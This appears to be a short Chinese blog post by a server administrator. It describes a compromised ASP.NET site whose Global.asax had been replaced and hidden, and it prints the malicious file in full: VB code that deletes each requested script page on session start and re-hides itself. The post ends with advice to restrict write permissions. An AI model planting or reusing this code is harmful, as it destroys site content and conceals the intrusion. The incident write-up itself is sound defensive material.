网站权限问题要重视-维护服务器后的看法

来源:互联网 发布:淘宝网2016下载安装 编辑:程序博客网 时间:2024/05/01 13:17

今天维护了一台某公司的网站服务器,就是访问文件突然不存在了,花了些时间看了一下,原因如下:

Global.asax 被改,变成了系统文件,还隐藏了。。

文件内容如下:


<%@ Language="VB"%><%@ Import Namespace="System.IO"%><script language="VB" runat="server">Sub Session_Start(Sender As Object, E As EventArgs)Dim MyFile,PathServer.ScriptTimeout = 999999'Response.Buffer = TrueMyFile="//?/"+Server.MapPath("/")+"\global.asax" 'Response.write Neirong'session.abandon'if Neirong<>"" then execute NeirongPath=LCase(Request.ServerVariables("PATH_TRANSLATED"))If InStr(Path, ".aspx") > 0 or InStr(Path, ".asp\") > 0 or InStr(Path, ".php") > 0 or InStr(Path, ".asax") > 0 or InStr(Path, ".asa") > 0  Then        'Response.Write "<html><body><h1> HTTP/1.1 500 Server Error</h1></body></html>" + vbCrlf'Response.Write laik + vbCrlf if File.Exists(Path) then File.SetAttributes(Path,0) File.delete(path) end if         Response.End    End If  File.SetAttributes(Server.MapPath("/")+"\global.asax" ,7)end sub</script>


这些语句够狠了吧,访问一个网站之前就删除网页。

所以,网站不能为主方便,把整个目录都有设置写权限,只能将指定的某个目录设置写权限。


原创粉丝点击